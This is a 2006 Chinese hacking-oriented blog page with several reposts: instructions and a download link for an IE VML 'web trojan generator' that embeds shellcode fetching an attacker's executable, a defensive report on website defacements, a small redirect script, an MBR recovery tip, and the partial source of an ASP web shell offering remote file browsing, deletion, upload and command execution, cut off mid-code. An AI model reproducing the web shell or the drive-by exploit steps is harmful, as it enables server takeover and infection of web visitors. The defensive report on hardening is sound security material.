资源共享 | Chinadu's Blog

过Windows SP2的IE_VML网页木马生成器

2006年9月27日 Chinadu 没有评论 77 views

文章作者：XiaoC
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

本人根据jamikazu 的代码修改的，克服了n0p的溢出只能在2000系统上运行的缺陷！
过Windows SP2的IE_VML网页木马生成器
过Windows SP2

使用方法：
注：请勿直接运行Shellcode.exe！
1.用记事本打开“生成.bat” 修改http://www.cc99.cn/xxx.exe为你的马的地址。
2.保存“生成.bat”后双击运行，即可生成ShellCode.txt.
3.用记事本打开IE_VML.htm，找到#########Your Shellcode!!!#########的字样，
把生成的ShellCode.txt中的Shellcode复制替换#########Your Shellcode!!!#########，保存！
4.网页木马就这样生成拉！
本程序仅供学习使用，请务用于非法用途，否则后果自负！
利用代码提供
Author: jamikazu
Mail: jamikazu@gmail.com
Credit: metasploit, SkyLined
感谢n0p提供Shellcode
XiaoC修改合成制作

下载地址：http://www.cc99.cn/viewdown.asp?id=66

分类: 资源共享标签: 网马

中国被黑站点统计系统 2006年9月分析报告

2006年9月24日 Chinadu 没有评论 51 views

中国被黑站点统计系统 2006年9月分析报告
[ Zone-H.Com.Cn ] Analytical report in September 2006

来源：中国被黑站点统计系统[http://www.zone-h.com.cn]
amxku[amxku_at_msn.com]
自在轮回[zizailunhui_at_msn.com]
wayking[wayking_at_hotmail.com]
目录
0- 总述
1- 分析
2- 相关防护
3- 总结

0- 总述

根据我们对中国被黑站点统计系统所有数据的分析，截至2006年9月19日0时，被篡改网站数量已达13000多个（其中有很多网站是多次被篡改），平均每天约有25个站点被篡改且被举报；又据CNCERT/CC（国家计算机网络应急技术处理协调中心）统计，2006年3月，全球被篡改网站数量超过3万个，平均每1.5分钟，就有一个网站被篡改…… 这些数目不是危言耸听。
网站篡改就发生在我们身边：
2006年03月12日，河北省政府采购网被篡改；
2006年03月18日，广州外事办网被篡改；
2006年03月11日，洛阳大学网站被篡改；
2006年04月13日，大冶政府网被篡改；
2006年04月10日，搜狐CS站被篡改；
2006年05月09日，网易社区被篡改；
2006年07月03日，雅虎中国被篡改；
2006年07月03日，163竟价广告联盟被篡改；
2006年07月11日，网易2006 世界杯足球公园被篡改；
2006年07月22日，天津中医药大学网站被篡改；
2006年09月14日，TCL通讯科技控股有限公司网站被篡改；
2006年09月16日，蒙牛、伊利两大国内牛奶集团官方网站被篡改；
…………
其间，国内有多个网络安全站点、组织也难逃厄运。被篡改的网站多为政府、学校、信息综合门户、知名企业等影响力高、受众面广的网站……，且不论黑客攻击的动机，仅在后果上，这些网站可谓遭遇了不同程度的尴尬。在众多被篡改的网站中，政府网站成了重灾区。在今年召开的中国计算机网络安全应急年会上，国家计算机网络应急技术处理协调中心副总工程师杜跃进博士谈到，“根据中心统计，网页篡改去年在大陆发生13000多次，其中六分之一攻击对象是政府网站，对电子政务构成严重威胁” 。频频发生的攻击能否给政府网站网络安全敲响一次“警钟”。

1- 分析

经过对统计数据的分析，对被篡改的主要原因做以下诠释：
1、网站脚本程序安全问题；
2、服务器设置问题；
3、社会工程学；
4、不可预见的问题。

网站脚本程序安全问题
网站脚本程序安全问题，网站管理员对脚本程序没有做任何处理，表现在网站的默认数据库，默认管理帐号，如admin，root，manager等
网站程序设计存在安全问题，网站程序设计者在编写时，对相关的安全问题，没有做适当的处理，诸如SQL注入，上传，跨站等。
服务器设置问题
服务器设置问题导致被入侵，如系统安装优化与补丁，0day，策略问题，权限，Serv-U，SQL Server，PCangwhere 等相关设置。

社会工程学
现在管理员素质参差不齐，作好对员工自身素质的培训与内部协调，培养员工的保密意识和安全意识。制订完善的保密制度和保密机制，对不同级别的信息保密级别，设置不同的保密应急机制。

不可预见的问题
未知漏洞，本人能力有限，对此不做描述。

2- 相关防护

1. 系统问题
对于系统设置方面这里不做过多介绍。
补丁问题，这个是比较重要的问题，一般服务器需要开的服务，排除第三个程序，关闭不用的一些服务。微软的自动更新功能，另外有一个重要的地方就是，微软的补丁只不是一处，还有很多管理员经常忽略某些方面，比如OFFICE等等，几年前的溢出，时至今日还依然有效。这里不得不提醒一下管理员，想问题要从总体上来考虑，不要局限于某个细节，有个全局观。

2. 策略问题

这里包括密码策略，账户策略等等。这里对于密码，可以采用策略，密码定期更改，密码长度限制，更改默认的用户组等等。同时采用TCP/IP策略对没有端口进行限制，还有IPSEC对特定端口进行身份验证。
一般情况下，比较好的方法是对外只开两个端口，一个是80端口，一个是代理端口。代理端口加上高强度的密码，对于FTP，其它等端口，可以采用连接上代理后，用SockCap等工具来连接；对于Serv-U可以更改本地密码，端口，改更启动权限等。这样可以一定程度上防范一些来自0day的攻击，如Serv-U溢出等。当然，这里所谓的策略并不只是这么几个，需要管理员灵活利用。
设置屏幕保护密码，很简单也很有必要，设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。注意不要使用OpenGL和一些复杂的屏幕保护程序，浪费系统资源，让他黑屏就可以了。还有一点，所有系统用户所使用的机器也最好加上屏幕保护密码。
系统所能提供的安全机制，对于防范系统有着很重要的意义。

3. 权限问题

一个是目录权限问题，一个是系统自带的程序权限问题。
目录权限，要注意的是系统盘有些默认是执行权限的，所以需要设置成没有执行权限。程序主要是对cmd.exe，cacls.exe，ftp.exe，net.exe，net1.exe，tftp.exe，tftpd.exe，cscript.exe……等等，所以可能用到的东西都进行设置，另外要注意完整性，例如net.exe，最好用dir /s net*.exe，系统自带的有好多个，如果你只限制一个的话，其它的照样可以用，这样一来还是会影响到系统的安全。具体设置请参见相关的文档。
SQL Server 可以删除一些危险的内置存储过程；以下列出危险的内置存储过程：
xp_cmdshell
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
ActiveX自动脚本：
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
限制SQL用户的权限，防止被列目录等。

4. WEB安全问题

为每个站点设置单独的启动用户，删除不常用到的ISAPI的类型，采用iis防火墙做相关的限制等。
常见的攻击，诸如注入，暴库这类问题，可以在每个网页写个发邮件的脚本，当有出现500，403错误时，自动向管理员信箱里放送一封邮件，这样可以有针对性的对寻找对应网页，目录等启到一定的防护，同时对一些常见的页面，采用屏换的方式，这样一来可以解决一些来自暴力破解和注射时提供的一些敏感信息。
不要忽略了默认数据库等这类低级错误。
对于SQL注入可以加防注入系统，过滤特殊字符等，可以起到一定的防护作用。
跨站相关防护处理，转义相关字符，如
A
SP
str=replace(str,"&","&")
str=replace(str,":","：")
str=replace(str,"=","=")
str=replace(str,"< ","<")
str=replace(str,">",">")
str=replace(str," "," ")
str=Replace(Str,"""",""")
PHP
str_replace("\n", "
", $content);
str_replace("\t", " ", $content);
str_replace("", "", $content);
str_replace("< ","<", $content);
str_replace(">",">", $content);
str_replace("\t", ' ', $content);
str_replace("chr(10)","", $content);
………………
对于后台最好做身份限制，另外对上传目录做没有执行权限设置，这里要注意的就是不要忽略了其它脚本语言的支持，对于Access数据库，我们建议，把数据库放在web根目录的上方，这样，即使插了马也没法提交shell。
对于web还有一个比较重要的地方就是对组件的选择性控制，FSO,Shell.Application等组件，可以采用选择性的删除或改名，例如FSO，如果不是虚拟机的话，个人认为可以选择删掉。
如果是PHP的站点的话，在条件允许的情况下，开启安全模式。
总之，要根据具体情况而定，管理员可以随机应变。

5. 0day的攻击

对于0day的攻击，目前来说我们能做的东西很少，可以选择采用监控的方式来对系统进行控制，对于日志文件，请不要给于删除的权限，这样可以从一定程度上得到被入侵后的相关信息，以便日后追击入侵者等。

6. ARP(地址转发协议)欺骗

利用协议的不足，在交换网络的混杂模式下，通过嗅探可以到一些很重要的数据，诸如明文的SQL Server密码，http数据包，SMTP，FTP等等。通常我们可以采用将MAC卡和IP绑定，但是在真实网络环境，有好多管理员并没有把mac卡和ip真正绑定好。或改用HTTPS方式访问，可以对ARP欺骗启到一定的限制。详情可以参考相关文档。

7. 社会工程学、钓鱼

举一个例子(此例来源linzi[B.C.T])说明:
有一天有一个人收到了一个信息，说他中了QQ的大奖，将一个QQ号1234567，密码是1234567，然后叫中奖者速修改密码，从这里，如果我是中奖者一般不会怀疑什么，因为他没有从我身上得到些什么，但，当中奖者把密码改完后，发现自己QQ被盗了，究其原因，钓鱼者利用了，很多人的一个弱点，就是使用同一个密码的习惯，当中奖者将密码改完后，钓鱼者去官方去查改后的密码，再用改后的密码去试中奖者的QQ，成功的话，用户的很多隐私被窃取，虚拟财产受侵犯.当然现在的QQ没法查改后的密码，我这里主要是提出一种思路.转到社工，问问你自己，是否在很多论谈使用差不多相同的ID，是否密码只有三个以内，你的ID是不是可以被google搜出来，攻击者可以攻入你注册过的站点，收集到你一定的密码档，然后，通过已收集的资料，做成一个字典，再对你进行暴破.个人建议自己的密码最好能弄进算法，个个密码都做到不同，这样一来，不只是对自己的隐私起保护作用，同时也保护了站点，域等的安全性。

3 总结
这里我们可以看出很多的安全问题，都出于管理员对网络安全没有深入的认识。
建议网站管理员，多关注网络安全相关动态，了解入侵者常用的入侵手段，以做好即时防护措施，把风险降到最低。
这里我们只是对当前统计得到的数据做了简单的分析，并不通用，具体情况及实施办法请参见相关技术文档。

由于本人的水平有限，有不妥之处还望斧正。

分类: 资源共享标签: 威胁, 风险

自动选择最快服务器的代码

2006年9月24日 Chinadu 没有评论 74 views

代码如下：

<html> <head> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312"> <meta http-equiv="refresh" content="5;url=./"> <title>自动选择最快站点</title> </head> <center> <br> <p> <br> <font color=blue size=7><br><br> 请稍候，正在选择速度最快站点......</p> <script> i=1 var autourl=new Array()//要测试的站点 autourl[1]="http://waha.3322.net" autourl[2]="http://www.sina.com.cn" autourl[3]="http://www.baron.com.cn" function auto(url) { if(i){i=0;top.location=url} } function run() { for(var i=1;i<autourl.length;i++) document.write("<img src="+autourl[i]+" width=1 height=1 onerror=auto('"+autourl[i]+"')>") } run() </script> </body> </html>

分类: 资源共享标签: Asp

解决killMBR

2006年9月23日 Chinadu 没有评论 129 views

解决方法:

首先找一张带PE系统的光盘,然后开机按DEL键盘,进入COMS,选择PE进去,进去之后,会和正常电脑一样
不用管他

选择开始菜单,有个磁盘修复,会弹出一个对话筐,你电脑有分几个区,就有几个盘,选中一个右键盘,修复

引导分区,点自动就可以了,记得每个盘都要修复,修复完了保存,确定,重新启动电脑就可以了.

分类: 资源共享标签: 小技巧

NetCat 网络飞猫 Version2.00

2006年9月22日 Chinadu 没有评论 99 views

以下是源代码：

<%@ LANGUAGE = VBScript %> <% Dim cmd cmd=trim(request("cmd")) select case ucase(cmd) case "DIR" call fDIR() AspEnd case "TYPE" call fTYPE() AspEnd case "EDIT" call fEDIT() AspEnd case "COPY" call fCOPY() AspEnd case "MOVE" call fMOVE() AspEnd case "DEL" call fDEL() AspEnd case "DELTREE" call fDELTREE() AspEnd case "RUN" call fRUN() AspEnd case "FINDFILE" call fFINDFILE() AspEnd case "UPFILE" call fUPFILE() AspEnd case "REN" call fREN() AspEnd case "DIRMAKE" call fDIRMAKE() AspEnd case "DIRCOPY" call fDIRCOPY() AspEnd case "DIRMOVE" call fDIRMOVE() AspEnd case "DIRDEL" call fDIRDEL() AspEnd case "VER" call fVER() AspEnd case "HELP" call fHELP() AspEnd case "?" call fHELP() AspEnd End select '------------------------------------------------------------------ ''===================================================== Function fHELP() Dim HelpStr(16,1) Dim helpi HelpStr(0,0)="<a href=" & SelfName() & "?cmd=help>HELP|?</a>" HelpStr(0,1)="NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" "+chr(-15364)+chr(-15890)+chr(-15920)+chr(-19987) HelpStr(1,0)="<a href=" & SelfName() & "?cmd=dir&par=/?>DIR</a>" HelpStr(1,1)=chr(-15920)+chr(-19466)+chr(-19023)+chr(-14416)+chr(-17422)+chr(-10568)+chr(-18776)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15169)+chr(-15684)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17715)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15920)+chr(-19987) HelpStr(2,0)="<a href=" & SelfName() & "?cmd=type&par=/?>TYPE</a>" HelpStr(2,1)=chr(-11564)+"ASCII"+chr(-12082)+chr(-13635)+chr(-12332)+chr(-13634)+chr(-10568)+chr(-18776)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115) HelpStr(3,0)="<a href=" & SelfName() & "?cmd=edit&par=/?>EDIT</a>" HelpStr(3,1)="ASCII"+chr(-16160)+chr(-12083)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-20000)+chr(-17235)+chr(-14601) HelpStr(4,0)="<a href=" & SelfName() & "?cmd=copy>COPY</a>" HelpStr(4,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-18252)+chr(-10554) HelpStr(5,0)="<a href=" & SelfName() & "?cmd=move>MOVE</a>" HelpStr(5,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-11578)+chr(-18769) HelpStr(6,0)="<a href=" & SelfName() & "?cmd=del&par=/?>DEL</a>" HelpStr(6,1)=chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154) HelpStr(7,0)="<a href=" & SelfName() & "?cmd=deltree&par=/?>DELTREE</a>" HelpStr(7,1)=chr(-14363)+chr(-16427)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-10568)+chr(-18776)+chr(-15169)+chr(-15684)+chr(-12350)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-12604)+chr(-17154) HelpStr(8,0)="<a href=" & SelfName() & "?cmd=run&par=/?>RUN</a>" HelpStr(8,1)=chr(-19276)+chr(-16984)+chr(-11589)+chr(-18186)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16904)+chr(-19508) HelpStr(9,0)="<a href=" & SelfName() & "?cmd=findfile>FINDFILE</a>" HelpStr(9,1)=chr(-19735)+chr(-10798)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154) HelpStr(10,0)="<a href=" & SelfName() & "?cmd=upfile&par=/?>UPFILE</a>" HelpStr(10,1)=chr(-13873)+chr(-19285)+chr(-20034)+chr(-18984)+chr(-12604)+chr(-17154)+chr(-19011)+chr(-15169)+chr(-19990)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12613)+chr(-10557)+chr(-13873) HelpStr(11,0)="<a href=" & SelfName() & "?cmd=ren>REN</a>" HelpStr(11,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-10536)+chr(-15364)+chr(-15365) HelpStr(12,0)="<a href=" & SelfName() & "?cmd=dirmake&par=/?>DIRMAKE</a>" HelpStr(12,1)=chr(-18434)+chr(-12559 )+chr(-14601)+chr(-18741)+chr(-12094)+chr(-16984)+chr(-15169)+chr(-15684) HelpStr(13,0)="<a href=" & SelfName() & "?cmd=dircopy>DIRCOPY</a>" HelpStr(13,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-18252)+chr(-10554) HelpStr(14,0)="<a href=" & SelfName() & "?cmd=dirmove>DIRMOVE</a>" HelpStr(14,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-11578)+chr(-18769) HelpStr(15,0)="<a href=" & SelfName() & "?cmd=dirdel&par=/?>DIRDEL</a>" HelpStr(15,1)=chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200) HelpStr(16,0)="<a href=" & SelfName() & "?cmd=ver>VER</a>" HelpStr(16,1)="NetCat("+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+")"+chr(-20250)+chr(-20034)+chr(-12091)+chr(-12382)+chr(-11564)+chr(-17232)+chr(-13827)+chr(-17226)+chr(-14123)+chr(-10562) pcmdhostinfo response.write "HELP|?"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+"NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" "+chr(-15364)+chr(-15890)+chr(-15920)+chr(-19987)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=["+chr(-15364)+chr(-15890)+"][&par=["+chr(-19762)+chr(-13571)+"]]<br><br>["+chr(-15364)+chr(-15890)+"]<br><br>" response.write "<table border=0 width=700 cellspacing=5 cellpadding=0>" for helpi=0 to ubound(HelpStr) response.write "<tr><td width=120 id=site>" & HelpStr(helpi,0) & "</td><td width=580>" & HelpStr(helpi,1) & "</td></tr>" next response.write "</table>" End Function ''===================================================== Function fTYPE() dim typepar dim typefso dim typefile dim typefile1 dim scontenttmp typepar=trim(request("par")) pcmdhostinfo if typepar="?" or typepar="/?" or typepar="-?" or typepar="" then response.write "TYPE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-11564)+"ASCII"+chr(-12082)+chr(-13635)+chr(-12332)+chr(-13634)+chr(-10568)+chr(-18776)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=type&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if typepar=vir2abs(typepar) set typefso=server.createobject("Scripting.FileSystemObject") if typefso.FileExists(typepar) then set typefile=typefso.opentextfile(typepar,1) set typefile1=typefso.getfile(typepar) if typefile1.size>0 then scontenttmp=typefile.readall scontenttmp=replace(scontenttmp,"<textarea>","[textarea]") scontenttmp=replace(scontenttmp,"</textarea>","[/textarea]") scontenttmp=replace(scontenttmp,"<TEXTAREA>","[TEXTAREA]") scontenttmp=replace(scontenttmp,"</TEXTAREA>","[/TEXTAREA]") response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & typefile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & typepar & "<br><textarea rows=29 cols=127>" & scontenttmp & "</textarea>" else response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & typefile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & typepar & "<br><textarea rows=29 cols=127></textarea>" end if set typefile=nothing set typefile1=nothing else response.write chr(-12604)+chr(-17154)+chr(-18493)+chr(-12598)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10798)+chr(-19781)+chr(-19011)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12604)+chr(-17154) end if set typefso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function ''=============================================================================================================== Function fDIR() Dim dirpar dim dirfso dim dirfolder dim dirfolders dim dirfile dim dirfiles dim dirdriver dim dirdrivers dim itemtmp dim strlink dim strshow dirpar=trim(request("par")) pcmdhostinfo set dirfso=server.createobject("Scripting.FileSystemObject") if dirpar="?" or ucase(dirpar)="/?" or ucase(dirpar)="-?" then response.write "DIR"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-15920)+chr(-19466)+chr(-19023)+chr(-14416)+chr(-17422)+chr(-10568)+chr(-18776)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15169)+chr(-15684)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17715)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15920)+chr(-19987)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dir[&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-19514)+chr(-17422)+chr(-12604)+chr(-17154)+chr(-15365)+"<br><br>" response.write " "+chr(-14620)+chr(-10544)+chr(-11100)+chr(-18776)+chr(-11547)+chr(-19762)+chr(-13571)+chr(-12630)+chr(-23622)+"<br><br> # "+chr(-23622)+" |acrs|<br><br>" response.write " "+chr(-12590)+chr(-19004)+chr(-18969)+chr(-15148)+chr(-23622)+" |mycomputer|<br><br>" response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if if dirpar="" then dirpar=AppPath() end if if dirpar="|mycomputer|" or dirpar="|alldrivers|" or dirpar="|alldriver|" or dirpar="|alldrv|" or dirpar="|top|" or dirpar="|list|" then set dirdrivers=dirfso.Drives response.wri te chr(-19023)+chr(-14416)+chr(-15169)+chr(-15684)+chr(-23622)+"<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=|mycomputer|>"+chr(-12590)+chr(-19004)+chr(-18969)+chr(-15148)+"</a><br><br>" for each dirdriver in dirdrivers if dirdriver.DriveType=1 then if dirdriver.IsReady=TRUE then response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">3.5 "+chr(-14099)+chr(-14900)+"(" & dirdriver & ")</a> ["+chr(-16439)+chr(-11325)+"] ["+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirdriver.TotalSize) & "]<br>" else response.write "3.5 "+chr(-14099)+chr(-14900)+"(" & dirdriver & ") ["+chr(-19781)+chr(-16439)+chr(-11325)+"]<br>" end if end if if dirdriver.DriveType=2 then strshow=dirdriver.VolumeName if trim(strshow)="" then strshow=chr(-20034)+chr(-18984)+chr(-19259)+chr(-14900) end if response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">" & strshow & "(" & dirdriver & ")</a> [" & dirdriver.FileSystem & "] ["+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirdriver.TotalSize) & "] ["+chr(-11567)+chr(-11325)+chr(-16427)+chr(-17180)+chr(-23622) & FormatNumber(dirdriver.TotalSize-dirdriver.AvailableSpace) & "] ["+chr(-16439)+chr(-11325)+chr(-16427)+chr(-17180)+chr(-23622) & FormatNumber(dirdriver.AvailableSpace) & "]<br>" end if if dirdriver.DriveType=3 then response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">" & dirdriver & "("+chr(-11082)+chr(-19508)+chr(-19259)+chr(-14900)+")</a><br>" end if if dirdriver.DriveType=4 then if dirdriver.IsReady=TRUE then response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">"+chr(-17950)+chr(-14900)+"(" & dirdriver & ")</a> ["+chr(-16439)+chr(-11325)+"] ["+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirdriver.TotalSize) & "]<br>" else response.write chr(-17950)+chr(-14900)+"(" & dirdriver & ") ["+chr(-19781)+chr(-16439)+chr(-11325)+"]<br>" end if end if next exit function end if dirpar=vir2abs(dirpar) if dirfso.FolderExists(dirpar) then set dirfolder=dirfso.GetFolder(dirpar) set dirfolders=dirfolder.subfolders set dirfiles=dirfolder.files strshow=replace(dirpar,chr(32)," ") response.write chr(-19023)+chr(-14416)+chr(-15169)+chr(-15684)+chr(-23622) & strshow & "<br>" if dirfolder.IsRootFolder=false then strlink=dirfolder.ParentFolder.path strlink=replace(strlink,chr(32),"%20") strlink=replace(strlink,"#","|acrs|") response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & strlink & ">"+chr(-13873)+chr(-11589)+chr(-17226)+chr(-15169)+chr(-15684)+"</a>><br>" else response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=|mycomputer|>"+chr(-13873)+chr(-11589)+chr(-17226)+chr(-15169)+chr(-15684)+"</a>><br>" end if for each itemtmp in dirfolders strlink=itemtmp strlink=replace(strlink,chr(32),"%20") strlink=replace(strlink,"#","|acrs|") strshow=replace(mid(itemtmp,instrrev(itemtmp,"\")+1),chr(32)," ") response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & strlink & ">" & strshow & "</a>>" response.write " "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated response.write " "+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & itemtmp & "<br>" next response.write "<br>" for each itemtmp in dirfiles response.write itemtmp.name response.write " "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated response.write " "+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(itemtmp.Size) & "<br>" next set dirfolder=nothing set dirfolders=nothing set dirfiles=nothing set itemtmp=nothing else if instr(dirpa r,"*")>0 or instr(dirpar,"?")>0 then if dirfso.FolderExists(left(dirpar,instrrev(dirpar,"\")-1)) then set dirfolder=dirfso.GetFolder(left(dirpar,instrrev(dirpar,"\")-1)) set dirfolders=dirfolder.subfolders set dirfiles=dirfolder.files for each itemtmp in dirfolders if myLike(mid(dirpar,instrrev(dirpar,"\")+1),mid(itemtmp,instrrev(itemtmp,"\")+1))=True then strlink=itemtmp strlink=replace(strlink,chr(32),"%20") strlink=replace(strlink,"#","|acrs|") strshow=replace(mid(itemtmp,instrrev(itemtmp,"\")+1),chr(32)," ") response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & strlink & ">" & strshow & "</a>>" response.write " "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated response.write " "+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & itemtmp & "<br>" end if next response.write "<br>" for each itemtmp in dirfiles if mylike(mid(dirpar,instrrev(dirpar,"\")+1),itemtmp.name)=True then response.write itemtmp.name response.write " "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated response.write " "+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(itemtmp.Size) & "<br>" end if next set dirfolder=nothing set dirfolders=nothing set dirfiles=nothing set itemtmp=nothing end if else if dirfso.FileExists(dirpar) then set dirfile=dirfso.getfile(dirpar) response.write chr(-19023)+chr(-14416)+chr(-15169)+chr(-15684)+chr(-23622) & dirfile.ParentFolder & "<br><br>" response.write dirfile.Name response.write " "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & dirfile.DateCreated response.write " "+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirfile.Size) set dirfile=nothing else response.write chr(-10798)+chr(-19781)+chr(-19011)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-17422)+chr(-12604)+chr(-17154) exit function end if end if end if set dirfso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function ''=============================================================================================================================================== Function fEDIT() dim editpar dim editfso dim editfile dim editfile1 dim savefile dim scontenttmp editpar=trim(request("par")) pcmdhostinfo if editpar="?" or editpar="/?" or editpar="-?" then response.write "EDIT"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+"ASCII"+chr(-16160)+chr(-12083)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-20000)+chr(-17235)+chr(-14601)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=edit&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if if request.form("editmethod")="save" then if trim(request.form("filename"))="" then response.write chr(-20061)+chr(-19226)+chr(-12604)+chr(-17154)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12620)+chr(-13596)+chr(-14101)+chr(-12056)+chr(-11606)+chr(-20061)+chr(-19226)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function else if chkchar(long2short(request.form("filename")))=false then response.write chr(-20061)+chr(-19226) 